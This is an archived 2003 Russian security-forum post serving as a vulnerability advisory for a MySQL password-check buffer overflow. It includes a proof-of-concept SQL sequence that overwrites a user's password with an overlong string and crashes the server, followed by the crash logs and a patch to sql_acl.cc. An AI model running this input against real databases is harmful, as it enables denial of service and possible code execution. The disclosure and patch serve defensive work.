Главная Новые темы Список тем Задать вопрос Поиск  

Форум "Защита и взлом" (архив)


Не только для хакеров...


 #0 IronHawk © 11.09.03 11:16:07 - 11.09.03 11:16:07

Удаленное переполнение буфера в MySQL базе данных!



Программа: MySQL 3.0.х до 3.0.57 и MySQL 4.0.х до 4.0.14

Опасность: Выскокая

Наличие эксплоита: Да

Описание: Переполнение буфера обнаружено в MySQL. Удаленный атакующий может выполнить произвольный код на уязвимой системе.

Переполнение буфера обнаружено в функции проверки пароля. Удаленный атакующий, имеющий административные привилегии на MySQL сервере, может представить специально обработанное значение поля "Password", длиннее 16 символов, чтобы вызвать переполнение буфера и выполнить произвольный код с привилегиями MySQL базы данных. На большинстве Linux систем, адрес возврата можно перезаписать на 444 байта.


Пример/Эксплоит:

USE mysql;
  > ALTER TABLE User CHANGE COLUMN Password Password LONGTEXT;
  > UPDATE User SET Password =
'12345678123456781234567812345678123456­7812345678123456781234567812345678
 123456781234567812345678123456781234567­812345678123456781234567812345678
 123456781234567812345678123456781234567­812345678123456781234567812345678
 12345678123456781234567812345678...' WHERE User = 'abcd';
  > FLUSH PRIVILEGES;

[Connection lost]
  
  mysqld_safe/safe_mysqld log :
  
030806 21:05:43  mysqld restarted
030806 21:05:43  mysqld restarted
030806 21:05:43  mysqld restarted
030806 21:05:43  mysqld restarted

  MySQL log : tons of

mysqld got signal 11;

URL производителя:

Решение:

Установите обновленную версию программы или примените следующий патч:
--- mysql-4.0.14-old/sql/sql_acl.cc 2003-07-18 16:57:25.000000000 +0200
+++ mysql-4.0.14/sql/sql_acl.cc 2003-09-10 23:21:13.559759576 +0200
@@ -233,7 +233,7 @@
        "Found old style password for user '%s'. Ignoring user. (You may want to
restart mysqld using --old-protocol)",
        user.user ? user.user : ""); /* purecov: tested */
     }
-    else if (length % 8) // This holds true for passwords
+    else if (length % 8 || length > 16) // This holds true for passwords
     {
       sql_print_error(
        "Found invalid password for user: '%s@%s'; Ignoring user",
Цитата





  • Тема находится в архиве

    Написать ответ

    Имя: Регистрация HTML?
    smiles смайлики
    Потом перейти в:    
    паутина



      ©  webest.net, 2002-2007  

    top.mail.ru
    » Бесплатный счетчик посещений
    » Рейтинг сайтов